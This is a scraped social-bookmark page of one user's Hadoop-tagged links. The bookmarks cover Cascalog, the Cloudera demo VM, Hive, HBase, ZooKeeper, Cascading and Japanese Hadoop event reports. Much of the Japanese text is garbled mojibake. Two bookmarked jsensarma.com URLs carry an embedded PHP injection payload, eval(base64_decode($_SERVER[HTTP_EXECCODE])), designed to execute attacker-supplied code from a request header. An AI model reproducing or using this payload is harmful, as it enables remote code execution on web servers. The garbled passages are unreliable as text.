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rawwell id:rawwell

hadoopã«é–¢ã™ã‚‹rawwellã®ãƒ–ãƒƒã‚¯ãƒžãƒ¼ã‚¯ (51)

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Summarizing next-gen sequencing variation statistics with Hadoop using Cascalog
Note: new posts have moved to http://bcb.io/ Please look there for the latest updates and comments Improvements in next-generation sequencing techno logy are leading to ever increasing amounts of sequencing data. With this additional throughput comes the demand for algorithms and approaches that can easily scale. Hadoop offers an open source framework for batch processing large files. This post des
rawwell 2012/02/09
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hadoop

clojure
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Cloud9: A MapReduce Library for Hadoop Â» Getting started with S3
rawwell 2011/12/12
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s3

aws

hadoop
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Cloudera's Hadoop Demo VM - Cloudera Support
Demo VMWare Image version 0.3.7 Last Updated: April 2011 CDH version: CDH3u0 (md5: 2c21d602a04606426841d59d45df11f2) DOWNLOAD Note: This VM download is approximately 1GB. Feel free to mirror internally or externally to minimize bandwidth usage. To make it easy for you to get started with Apache Hadoop, we created a virtual machine with everything you need. Our VM runs Ubuntu 10.10 and includes Cl
rawwell 2011/10/02
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hadoop

cloudera
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O'Reilly Media - Technology and Business Training
Introducing the AI Academy Help your entire org put GenAI to work Every employee today needs to know how to prompt GenAI, use it to enhance critical thinking and productivity, and more. With the AI Academy they can. For less. Oâ€™Reilly AI-powered Answers just got even smarter Oâ€™Reilly Answers instantly generates information teams can trust, sourced from thousands of titles on our learning platform.
rawwell 2011/09/30
"Throughput mb/sec: 80.25553361904304 Average IO rate mb/sec: 98.6801528930664"

hadoop

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English (US)
Did someone say â€¦ cookies? X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. Show more about your choices.
rawwell 2011/09/30
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hadoop
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Twitter Storm: Open Source Real-time Hadoop
InfoQ Software Architects' Newsletter A monthly overview of things you need to know as an architect or aspiring architect. View an example
rawwell 2011/09/30
storm

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hadoop
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http://jsensarma.com/blog/2009/06/27/compression-and-layering-in-hadoop/%25&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D%7C.+)&%25/
rawwell 2011/05/26
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hadoop
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http://jsensarma.com/blog/2009/05/14/hive-hadoop-s3-ec2-it-works/%25&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D%7C.+)&%25/
rawwell 2011/05/26
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hive

hadoop
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å¤§å¦ã§ Hadoop ä½¿ã†å ´é¢ã£ã¦ã©ã‚“ãªã®ã ã‚ã†ã‹ - æ¦è”µé‡Žæ—¥è¨˜
ä»Šã•ã‚‰ã ãŒ @kzk_mover ãã‚“ã«ã‚ˆã‚‹Hadoop World NYC å‚åŠ è¨˜ã®ç´¹ä»‹ã€‚Hadoop ã£ã¦è€ƒãˆæ–¹ã¯å˜ç´”ãªã®ã ã‘ã©ã€ãƒ‰ã‚ãƒ¥ãƒ¡ãƒ³ãƒˆãŒã‚‚ã®ã™ã”ã„å‹¢ã„ã§é™³è…åŒ–ã—ãŸã‚Šã€ãƒãƒ¥ãƒ¼ãƒ‹ãƒ³ã‚°ã—ãªã„ã¨ã„ã‘ãªã„ãƒ‘ãƒ©ãƒ¡ãƒ¼ã‚¿ãŒãŸãã•ã‚“ã‚ã£ãŸã‚Š(ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã§é©å½“ãªå€¤ã«è¨å®šã•ã‚Œã¦ã„ã‚‹ã®ã ã‘ã©)ã€ã‚³ãƒ³ã‚»ãƒ—ãƒˆã¯ã„ã„ã®ã ã‘ã©ä½¿ã†ã¨ãªã‚‹ã¨æ‰‹ã‚’å‡ºã—ã¥ã‚‰ã„æŠ€è¡“ã®ç†é æ ¼ã ã¨æ€ã†ã€‚Yahoo! ã®ä¾‹ã ã‘å¼•ç”¨ã—ã¦ã¿ã‚‹ã¨ã€ Hadoop Applications at Yahoo! Yahooã§ã®ä½¿ç”¨äº‹ä¾‹ã®è©±ã§ã™ã€‚Yahooã§ã¯ç¾åœ¨ç´„25000å°ç¨‹åº¦ã®ãƒŽãƒ¼ãƒ‰ä¸Šã§HadoopãŒèµ°ã£ã¦ã„ã‚‹ã‚ˆã†ã§ã™ã€‚ãã®ã†ã¡ã®ç´„20%ãŒæœ¬ç•ªç”¨ã€ç´„60%ãŒResearchç›®çš„ã¨ã„ã†äº‹ã§ã—ãŸã€‚ ãŸã ã€Yahoo.comã®ãƒˆãƒƒãƒ—ãƒšãƒ¼ã‚¸ã«è¡¨ç¤ºã•ã‚Œã¦ã„ã‚‹ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã®è£ã§ã¯çµæ§‹ä½¿ã‚ã‚Œã¦ã„ã‚‹ã‚ˆã†ã§ã€Ad Optimization, Search Index
rawwell 2011/05/15
hadoop

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HBase åŸºç¤Žæ–‡æ³•æœ€é€Ÿãƒžã‚¹ã‚¿ãƒ¼ - Stay Hungry. Stay Foolish.
åŸºç¤Žæ–‡æ³•æœ€é€Ÿãƒžã‚¹ã‚¿ãƒ¼ãŒæµè¡Œã®ã‚ˆã†ãªã®ã§ã€ ä¾¿ä¹—ã—ã¦å‹‰å¼·ãŒã¦ã‚‰ã«HBaseã®åŸºæœ¬æ“ä½œã«ã¤ã„ã¦çºã‚ã¦ã¿ã¾ã™ã€‚ PerlåŸºç¤Žæ–‡æ³•æœ€é€Ÿãƒžã‚¹ã‚¿ãƒ¼ - Perlå…¥é–€ã‚¼ãƒŸ ã¯ã¦ãªçš„ãƒ—ãƒã‚°ãƒ©ãƒŸãƒ³ã‚°è¨€èªžäººæ°—ãƒ©ãƒ³ã‚ãƒ³ã‚° - Life like a clown ã“ã‚Œã‚’èªã‚ã°Googleã®BigTableã®ã‚¯ãƒãƒ¼ãƒ³ã§ã‚ã‚‹HBaseã®åŸºæœ¬æ“ä½œã«ã¤ã„ã¦ä½•ã¨ãªãç†è§£ã§ãã‚‹ã‹ã‚‚ï¼Ÿã§ã™ã€‚ ä»–ã®åŸºç¤Žæ–‡æ³•æœ€é€Ÿãƒžã‚¹ã‚¿ãƒ¼ã¨åŒã˜ã‚ˆã†ã«ç°¡æ˜“ãƒªãƒ•ã‚¡ãƒ¬ãƒ³ã‚¹ã‚’å…¼ãã¦ã„ã¾ã™ã®ã§è¶³ã‚Šãªã„éƒ¨åˆ†ã‚’ã‚ã‚Œã°ã”æŒ‡æ‘˜ãã ã•ã„ã€‚ HBaseã¯2010-02-01æ™‚ç‚¹ã§æœ€æ–°ã®HBase0.20.3ã‚’å¯¾è±¡ã¨ã—ã¦ã„ã¾ã™ã€‚ ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«æ–¹æ³•ã«ã¤ã„ã¦ã¯å‰è¨˜äº‹ã‚’å‚ç…§ãã ã•ã„ã€‚ Cygwinã‚’åˆ©ç”¨ã—ã¦Windowsã«HBaseã‚’ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ« - Stay Hungry. Stay Foolish. å¯¾è©±å¼ã‚·ã‚§ãƒ«ã®å®Ÿè¡Œ åŸºæœ¬ HBaseã§ã¯HBase Shellã¨ã„ã†å¯¾è©±å¼
rawwell 2011/05/15
hadoop

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Hadoopã«ã‚ˆã‚‹å¤§è¦æ¨¡åˆ†æ•£ãƒ‡ãƒ¼ã‚¿å‡¦ç†
ç”£æ¥æŠ€è¡“å¤§å¦é™¢å¤§å¦ InfoTalk ç¬¬16å›ž 2010å¹´3æœˆ19æ—¥ http://pk.ai it.ac.jp/index.php?InfoTalkRead less
rawwell 2010/04/20
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Hadoop Hacks Nightè©³ç´°ãƒ¬ãƒãƒ¼ãƒˆï¼»å¾Œç·¨ï¼½ | gihyo.jp
3æœˆ8æ—¥ï¼ˆæœˆï¼‰ã«é–‹å‚¬ã•ã‚ŒãŸã€Œgihyo.jpÃ—Yahoo! JAPAN presents "Open TechTalk" Hadoop Hacks Nightâ ã€â ã€‚å‰ç·¨ã§ã¯ã€åŸºèª¿è¬›æ¼”ã®Yahoo! ,Inc. Hadoopãƒãƒ¼ãƒ ã‚¢ãƒ¼ã‚ãƒ†ã‚¯ãƒˆOwen O'Malleyæ°ã®ã‚»ãƒƒã‚·ãƒ§ãƒ³ã€ãã—ã¦ç‰¹åˆ¥è¬›æ¼”ã®ãƒ¤ãƒ•ãƒ¼æ ªå¼ä¼šç¤¾ Rï¼†Dçµ±è½„æœ¬éƒ¨ å‰ç”°ä¸€æ˜Ÿæ°ã«ã‚ˆã‚‹ã‚»ãƒƒã‚·ãƒ§ãƒ³ã‚’ãƒ¬ãƒãƒ¼ãƒˆã—ã¾ã—ãŸã€‚å¾Œç·¨ã§ã¯ã€ç¶šã„ã¦è¡Œã‚ã‚ŒãŸãƒ‘ãƒãƒ«ãƒ‡ã‚£ã‚¹ã‚«ãƒƒã‚·ãƒ§ãƒ³ã®æ¨¡æ§˜ã‚’ãŠå±Šã‘ã—ã¾ã™ã€‚ ç¬¬3éƒ¨ã€€ãƒ‘ãƒãƒ«ãƒ‡ã‚£ã‚¹ã‚«ãƒƒã‚·ãƒ§ãƒ³ æœ€å¾Œã¯Owenæ°ã€å‰ç”°æ°ã«åŠ ãˆã€ç”°ä¸æ…Žå¸æ°ï¼ˆæ ªå¼ä¼šç¤¾ã¯ã¦ãªâ ï¼‰â ã€è—¤å·å¹¸ä¸€æ°ï¼ˆæ ªå¼ä¼šç¤¾ã‚·ãƒªã‚¦ã‚¹ãƒ†ã‚¯ãƒŽãƒã‚¸ãƒ¼ã‚ºâ ï¼‰â ã€ä¸‰ä¸Šä¿Šè¼”æ°ï¼ˆç‘æ³¢å¤§å¦ï¼‰ã®5åã®ãƒ‘ãƒãƒªã‚¹ãƒˆã€ãƒ¢ãƒ‡ãƒ¬ãƒ¼ã‚¿é¦®å¯Œä¹…ï¼ˆæ ªå¼ä¼šç¤¾æŠ€è¡“è©•è«–ç¤¾ï¼‰ã«ã‚ˆã‚‹è¨ˆ6åã§ã®ãƒ‘ãƒãƒ«ãƒ‡ã‚£ã‚¹ã‚«ãƒƒã‚·ãƒ§ãƒ³ã§ã™ã€‚ å‹¢æƒã„ã—ãŸãƒ‘ãƒãƒ©ãƒ¼ä¸€åŒ Hadoopã®ãƒ¡ãƒªãƒƒãƒˆã€ç”¨é€”ã¯ï¼Ÿ å„è‡ªã‹ã‚“ãŸã‚“ãªè‡ªå·±
rawwell 2010/03/15
"ç¶šã„ã¦ç”°ä¸æ°ãŒã€ŒMapReduceä»¥å¤–ã®è¨ˆç®—ãƒ¢ãƒ‡ãƒ«ã‚’å®Ÿè£…ã™ã‚‹ã‚ˆã†ã«ã„ã‚ã‚ŒãŸã“ã¨ã¯ã‚ã‚‹ã‹ã€ã¨ã®è³ªå•ã€‚ãã‚Œã«å¯¾ã—ã¦Owenæ°ã¯ã€Œã‚ã‚‹ã€‚Yahoo!ã§ã‚‚MPIã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯ã‚ã‚‹ã€ã€Œè¿‘ãå°†æ¥ï¼Œè¤‡æ•°ã®ã‚¹ã‚±ã‚¸ãƒ¥ãƒ¼ãƒ©ã‚’åŒã˜ã‚¯ãƒ©ã‚¹ã‚¿ã®ä¸ã§å‡¦ç†ã§

hadoop

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Hadoop Hacks Nightè©³ç´°ãƒ¬ãƒãƒ¼ãƒˆï¼»å‰ç·¨ï¼½ | gihyo.jp
å¤šãã®æœ‰åä¼æ¥ãŒåˆ©ç”¨ã—å§‹ã‚ãŸã“ã¨ã‹ã‚‰æ³¨ç›®ã‚’æµ´ã³ã¦ã„ã‚‹ã‚ªãƒ¼ãƒ—ãƒ³ã‚½ãƒ¼ã‚¹ã®å¤§è¦æ¨¡åˆ†æ•£ãƒ‡ãƒ¼ã‚¿å‡¦ç†ã‚·ã‚¹ãƒ†ãƒ ã€ŒHadoopâ ã€â ã€‚ 2010å¹´3æœˆ8æ—¥ï¼ˆæœˆâ ï¼‰â ã€å…æœ¬æœ¨ãƒŸãƒƒãƒ‰ã‚¿ã‚¦ãƒ³ã®Yahoo Japanã«ã¦ã€Yahoo! ,Inc. Hadoopãƒãƒ¼ãƒ ã‚¢ãƒ¼ã‚ãƒ†ã‚¯ãƒˆã®Owen Oâ€™Malleyæ°ã‚’è¿Žãˆã¦ã€Œgihyo.jpÃ—Yahoo! JAPAN presents "Open TechTalk" Hadoop Hacks Nightã€ï¼ˆâ ï¼ˆâ æ ªï¼‰æŠ€è¡“è©•è«–ç¤¾ãƒ»ãƒ¤ãƒ•ãƒ¼ï¼ˆâ æ ªâ ï¼‰ä¸»å‚¬ï¼‰ãŒé–‹å‚¬ã•ã‚Œã¾ã—ãŸã€‚ ä¼šå ´ã®æ¨¡æ§˜ ç¬¬1éƒ¨ã€€Owen O'Malleyæ°ã®ãƒ—ãƒ¬ã‚¼ãƒ³ãƒ†ãƒ¼ã‚·ãƒ§ãƒ³ 5,000å„„äººã‚‚ã®ãƒ¦ãƒ¼ã‚¶ã®ãƒ‡ãƒ¼ã‚¿ã®è§£æžã«å¨åŠ›ã‚’ç™ºæ® æœ€åˆã®ã‚»ãƒƒã‚·ãƒ§ãƒ³ã¯ã€Owenæ°ã«ã‚ˆã‚‹ãƒ—ãƒ¬ã‚¼ãƒ³ãƒ†ãƒ¼ã‚·ãƒ§ãƒ³ã€‚å†’é ã§ã€æ°ãŒã¾ãšè¿°ã¹ãŸã®ãŒã€ã€Œâ Hadoopã¯ã‚ªãƒ¼ãƒ—ãƒ³ã‚½ãƒ¼ã‚¹ã§ã‚ã‚Šã€é–‹ç™ºè€…ãŒå”åŠ›ã—ã¦åŠ›ã‚’ã‚ã‚ã›ã¦ãƒ—ãƒã‚¸ã‚§ã‚¯ãƒˆã‚’é€²ã‚ã¦ã„ã‘ã‚‹ã€ã¨ã„
rawwell 2010/03/15
"# æ¤œç´¢ãƒã‚°ãƒ—ãƒ©ãƒƒãƒˆãƒ•ã‚©ãƒ¼ãƒ ï¼ˆHiveã‚’ç‹¬è‡ªã«æ‹¡å¼µã—ã¦åˆ©ç”¨ï¼‰ # ãƒ¬ã‚³ãƒ¡ãƒ³ãƒ‡ãƒ¼ã‚·ãƒ§ãƒ³ãƒ—ãƒ©ãƒƒãƒˆãƒ•ã‚©ãƒ¼ãƒ ã§ã¯å”èª¿ãƒ•ã‚£ãƒ«ã‚¿ãƒªãƒ³ã‚°ï¼Œã‚¯ãƒ©ã‚¹ã‚¿ã‹ã‚‰ã®è·é›¢è¨ˆç®—ã«åˆ©ç”¨ï¼‰ # åºƒå‘Šãƒ—ãƒ©ãƒƒãƒˆãƒ•ã‚©ãƒ¼ãƒ ï¼ˆHiveã‚„Pigã‚‚åˆ©ç”¨ï¼‰ # æ¤œç´¢ã‚µãƒ¼ãƒ“ã‚¹æ§‹ç¯‰

hadoop

checkitout
ãƒªãƒ³ã‚¯
Hadoopï¼‹Hiveæ¤œè¨¼ç’°å¢ƒã‚’æ§‹ç¯‰ã—ã¦ã¿ã‚‹
Hadoopï¼‹Hiveæ¤œè¨¼ç’°å¢ƒã‚’æ§‹ç¯‰ã—ã¦ã¿ã‚‹ï¼šHiveâ€•â€•RDBä½¿ã„ã®ãŸã‚ã®Hadoopã‚¬ã‚¤ãƒ‰ï¼ˆå‰ç·¨ï¼‰ï¼ˆ1/3 ãƒšãƒ¼ã‚¸ï¼‰ Hadoop Hiveã¯Hadoopä¸Šã§SQLãƒ©ã‚¤ã‚¯ãªã‚¯ã‚¨ãƒªæ“ä½œãŒå¯èƒ½ãªDWHå‘ã‘ã®ãƒ—ãƒãƒ€ã‚¯ãƒˆã§ã™ã€‚SQLã«è¿‘ã„æ“ä½œãŒå¯èƒ½ãªãŸã‚ã€HBaseã‚ˆã‚Šã‚‚ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã«æ…£ã‚Œè¦ªã—ã‚“ã ã¿ãªã•ã‚“ã«ã¯ä½¿ã„å‹æ‰‹ãŒã„ã„ã‹ã‚‚ã—ã‚Œã¾ã›ã‚“ã€‚æœ¬ç¨¿ã§ã¯ã“ã®Hiveã®ä½¿ã„æ–¹ã¨ãƒ¬ãƒ“ãƒ¥ãƒ¼ã‚’è¡Œã£ã¦ã„ãã¾ã™ã€‚
rawwell 2010/03/01
hadoop

checkitout
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Web Services - Audioscrobbler Las.fm API
Last.fm APIGetting startedAPI Guides IntroductionAuthentication Web How-ToMobile How-ToDesktop How-ToAuth SpecScrobbling 2.0 DocumentationRadio APIPlaylists API API ToolsREST RequestsXML-RPCTerms of ServiceAPI Methods album album.addTagsalbum.getInfoalbum.getTagsalbum.getTopTagsalbum.removeTagalbum.searchartist artist.addTagsartist.getCorrectionartist.getInfoartist.getSimilarartist.getTagsartist.ge
rawwell 2010/02/08
"Dumbo is a Python module that allows you to easily write and run Hadoop streaming programs (it's named after Disney's flying circus elephant, since the logo for Hadoop is an elephant and Python was named after the BBC series "Monty Python's Flying Circus")."

python

hadoop

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ZooKeeper: The State of the Zoo | SkillsCast
rawwell 2009/09/08
"In this podcast henry gave an introduction to ZooKeeper and its programming model, peek briefly under the covers at its internal implementation and give an overview of where the project is heading in the short and medium term."

hadoop

hbase

zookeeper

toview
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rawwell 2009/07/10
"# Hadoop/HDFSã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ # Hadoop/Reducerã®Iterator # Hadoop/Windowsã§ã®å®Ÿè¡Œ # Hadoop/Writableã«ã¤ã„ã¦ # Hadoop/ãƒ•ã‚¡ã‚¤ãƒ«åã®å–å¾— # Hadoop/ãƒžã‚·ãƒ³æ§‹æˆ # Ubuntu/Hadoopã®HDFSã‚’ãƒžã‚¦ãƒ³ãƒˆã™ã‚‹"

hadoop

checkitout
ãƒªãƒ³ã‚¯
AmazonS3 - HADOOP2 - Apache Software Foundation
S3 Support in Apache Hadoop Apache Hadoop ships with a connector to S3 called "S3A", with the url prefix "s3a:"; its previous connectors "s3", and "s3n" are deprecated and/or deleted from recent Hadoop versions. Consult the Latest Hadoop documentation for the specifics on using any the S3A connector. For Hadoop 2.x releases, the latest troubleshooting documentation. For Hadoop 3.x releases, the la
rawwell 2009/07/05
"Hadoop provides two filesystems that use S3. S3 Native FileSystem (URI scheme: s3n) * A native filesystem for reading and writing regular files on S3. The advantage of this filesystem is that you can access files on S3 that were written with other tools. Conversely, other tools can access

aws

s3

hadoop

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YDN Theater: Rod Smith on Hadoop in the Enterprise
rawwell 2009/06/25
"Rod Smith is an IBM Fellow who leads IBM's Internet Emerging Technology team. In this presentation, Rod discusses Hadoop from the enterprise perspective. His team works with customers, and looks at emerging technologies to see if there's a fit with the problems his customers are trying to solve. He

towatch

hadoop
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Cascading
Please note that all new project news and releases have moved to https://cascading.wensel.net The Cascading Ecosystem is a collection of applications, languages, and APIs for developing data-intensive applications. At the ecosystem core is Cascading, a Java API for defining complex data flows and integrating those flows with back-end systems, and a query planner for mapping and executing logical f
rawwell 2009/06/25
"Cascading is a feature rich API for defining and executing complex, scale-free, and fault tolerant data processing workflows on a Hadoop cluster. The processing API lets the developer quickly assemble complex distributed processes without having to "think" in MapReduce. And to efficiently schedule

hadoop

database

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